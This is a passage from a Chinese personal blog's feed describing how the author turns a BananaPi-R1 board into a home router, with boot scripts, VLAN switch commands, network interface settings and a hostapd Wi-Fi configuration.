&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Modifying IRQ of eth0 to CPU1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;proc&#x2F;irq&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; eth0 &#x2F;proc&#x2F;interrupts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -d \:&lt;&#x2F;span&gt;&lt;span&gt; )&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;smp_affinity&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Modified.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; default-on&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;sys&#x2F;class&#x2F;leds&#x2F;green:ph24:led1&#x2F;trigger&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Getting ready to run PPPoE CONNECTION settings now!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;bash&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;root&#x2F;scripts&#x2F;network_pppoe_boot.sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;dev&#x2F;kmsg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; mmc0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &#x2F;sys&#x2F;class&#x2F;leds&#x2F;green:ph24:led1&#x2F;trigger&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;service&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; netdata start&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;以上我们已经完成了一个基本可用的科学网关的配置。接下来的几篇文章，我会试图实现以下几个目标：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;del&gt;PPPoE接入互联网&lt;&#x2F;del&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;del&gt;VPN接入国外网络以及流量区分&lt;&#x2F;del&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;del&gt;网络和运行状态监视（via HTTP）&lt;&#x2F;del&gt;&lt;&#x2F;li&gt;
&lt;li&gt;LAN中的IPv6访问&lt;&#x2F;li&gt;
&lt;li&gt;启动中关闭LAN交换机&lt;&#x2F;li&gt;
&lt;li&gt;启动时更改WAN接入方式，以及运行状态监视（via LCD）&lt;&#x2F;li&gt;
&lt;li&gt;备用电源供应，RTC时钟和交换机配置保存&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>菜鸡路由器拼装之路（1）：基础IPv4网关构建</title>
        <published>2017-04-26T00:00:00+00:00</published>
        <updated>2017-04-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/garbage-router-1/"/>
        <id>https://blog.iret.xyz/posts/garbage-router-1/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/garbage-router-1/">&lt;p&gt;买了一个“香蕉派”(&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;item.taobao.com&#x2F;item.htm?id=42040550373&amp;amp;ns=1&amp;amp;abbucket=15#detail&quot;&gt;BananaPi-R1&lt;&#x2F;a&gt;)，功能还是可以的，本来准备一点点改成一个比较好用的综合网关，后来搁置了。最近因为没有实验室可以用，只能在宿舍工作，设备又比较多，学校的接入方式还有点智障，因此又描上了这块盒子。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ying-jian-jie-shao-yu-ji-ben-si-lu&quot;&gt;硬件介绍与基本思路&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;bananapi.gitbooks.io&#x2F;bpi-r1&#x2F;content&#x2F;zh&#x2F;bpi-r1_hardware_interface.html&quot;&gt;全志A20+1GB RAM+BCM53125&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;2.4GHz Wifi&lt;&#x2F;li&gt;
&lt;li&gt;5xGbE Ports&lt;&#x2F;li&gt;
&lt;li&gt;1xUSB 2.0, 1xRF, 1xHDMI&lt;&#x2F;li&gt;
&lt;li&gt;1xSATA&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;看上去很美好，然而有点鸡肋。因为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;没有硬NAT，大量报文需要走CPU。&lt;&#x2F;li&gt;
&lt;li&gt;CPU和53125之间是一条1Gbps的线路，理论上就没法线速处理报文&lt;&#x2F;li&gt;
&lt;li&gt;Wi-Fi驱动对Hostapd支持有问题，难以搭建热点&lt;&#x2F;li&gt;
&lt;li&gt;最重要的是，&lt;strong&gt;BCM53125&lt;&#x2F;strong&gt;在上电后没有down，而是把所有端口置于同一个VLAN，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;bananapi.gitbooks.io&#x2F;bpi-r1&#x2F;content&#x2F;zh&#x2F;bpi-r15gbeethernetports.html&quot;&gt;安全风险极大&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;SATA供电和速率均处于勉强可用的水平&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;而一些缺陷似乎可以弥补：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;USB接外置网卡做Hostapd&lt;&#x2F;li&gt;
&lt;li&gt;LAN口虽然隔离不好但是毕竟比较多&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;初步的想法是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;自己的帐号出了点问题，而且配置PPPoE本身也有点麻烦，因此就先用舍友的WiFi接入一段时间公网&lt;&#x2F;li&gt;
&lt;li&gt;LAN下的有线和无线设备同处于192.168.40.0&#x2F;24内，不隔离&lt;&#x2F;li&gt;
&lt;li&gt;没有其他需求&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;实际就是个简单的网关配置任务。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ying-jian-jie-mian-zhun-bei&quot;&gt;硬件界面准备&lt;&#x2F;h2&gt;
&lt;p&gt;SD卡烧入&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.bananian.org&quot;&gt;Bananian Linux&lt;&#x2F;a&gt;后，串口链接到&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;bananapi.gitbooks.io&#x2F;bpi-r1&#x2F;content&#x2F;zh&#x2F;bpi-r1_gpio_pin_define.html&quot;&gt;J13的UART0&lt;&#x2F;a&gt;上，插入外置网卡（我用的是一块RTL8188CUS）。&lt;&#x2F;p&gt;
&lt;p&gt;开机，用默认用户名和密码登入后进入系统，修改&lt;code&gt;&#x2F;etc&#x2F;udev&#x2F;rules.d&#x2F;70-persistent-net.rules&lt;&#x2F;code&gt;，分别将两块网卡（一块自带，一块新装）设定为&lt;code&gt;wlan0wan&lt;&#x2F;code&gt;和&lt;code&gt;wlan1lan&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wanjie-kou-zhun-bei&quot;&gt;WAN接口准备&lt;&#x2F;h3&gt;
&lt;p&gt;用以下命令获取配置项：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;wpa_passphrase &amp;lt;SSID&amp;gt; &amp;lt;Password&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在&lt;code&gt;&#x2F;etc&#x2F;network&#x2F;interfaces&lt;&#x2F;code&gt;中添加：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Set Wireless WAN network&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;auto&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; wlan0wan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; wlan0wan inet static&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  wpa-ssid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;SSI&lt;&#x2F;span&gt;&lt;span&gt;D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  wpa-psk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;The passphrase got befor&lt;&#x2F;span&gt;&lt;span&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  address&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 192.168.10.20&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  netmask&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 255.255.255.0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  #gateway 192.168.10.233  #这条不要加，知道就好了&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重新启动后登陆，理论上这块板子本体应该可以联网了。这时你应该立刻进行系统升级，并减少联网时间，因为此时系统还没有防火墙。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;you-xian-lanjie-kou-zhun-bei&quot;&gt;有线LAN接口准备&lt;&#x2F;h3&gt;
&lt;p&gt;根据BPI-R1的设计，我们决定将VLAN做如下规划：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;eth0.100 与wlan1lan桥接，局域网&lt;&#x2F;li&gt;
&lt;li&gt;eth0.200 外网PPPoE&lt;&#x2F;li&gt;
&lt;li&gt;eth0.300 外网DHCP（暂时不做配置）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;首先来修改VLAN。修改&lt;code&gt;&#x2F;etc&#x2F;network&#x2F;if-pre-up.d&#x2F;swconfig&lt;&#x2F;code&gt;为&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ifconfig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; eth0 up&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# The swconfig port number are:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# |2|1|0|4|  |3|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# (looking at front of ports)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Will allocate 3 client ports, 1 PPPoE Ports and 1 DHCP ports&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# using vlan 100, 200 and 300&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;swconfig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; dev eth0 set reset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;swconfig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; dev eth0 set enable_vlan&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# swconfig dev eth0 vlan 101 set ports &amp;#39;3 8t&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# swconfig dev eth0 vlan 102 set ports &amp;#39;4 0 1 2 8t&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;swconfig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; dev eth0 vlan&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 300&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; set ports &amp;#39;3 8t&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;swconfig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; dev eth0 vlan&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 200&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; set ports &amp;#39;4 8t&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;swconfig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; dev eth0 vlan&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; set ports &amp;#39;2 1 0 8t&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;swconfig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; dev eth0 set apply&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，&lt;code&gt;8t&lt;&#x2F;code&gt;必须加，否则这个网络和本体是不通信的。此外，如果你能单条执行以上指令，或许能发现一个可以缓解LAN口隔离缺陷的方法，我在后几篇文章中会提到。&lt;&#x2F;p&gt;
&lt;p&gt;不要忘了把相关的配置添加到&lt;code&gt;&#x2F;etc&#x2F;network&#x2F;interfaces&lt;&#x2F;code&gt;中：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;auto eth0.100&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;iface eth0.100 inet manual&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;auto eth0.200&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;iface eth0.200 inet manual&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;auto eth0.300&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;iface eth0.300 inet manual&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;wu-xian-lanjie-kou-zhun-bei&quot;&gt;无线LAN接口准备&lt;&#x2F;h3&gt;
&lt;p&gt;刚才我们配置好了所有的有线接口，现在开始配置无线接口。&lt;code&gt;apt&lt;&#x2F;code&gt;装上&lt;code&gt;dnsmasq&lt;&#x2F;code&gt;之后，首先配置&lt;code&gt;hostapd&lt;&#x2F;code&gt;。编辑配置文件&lt;code&gt;&#x2F;etc&#x2F;hostapd&#x2F;hostapd.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;macaddr_acl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;auth_algs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ignore_broadcast_ssid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;wpa&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;wpa_key_mgmt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;WPA-PSK&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#wpa_pairwise=TKIP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;rsn_pairwise&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;CCMP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#driver=nl80211&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;driver&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;rtl871xdrv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;device_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;RTL8188CUS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;manufacturer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;Realtek&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# set proper interface&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;interface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;wlan1lan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bridge&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;br0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;hw_mode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;g&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# best channels are 1 6 11 14 (scan networks first to find which slot is free)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;channel&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# this is the network name&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ssid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;IAMBACK&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# CHANGE THE PASSPHRASE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;wpa_passphrase&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;500InternalError&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
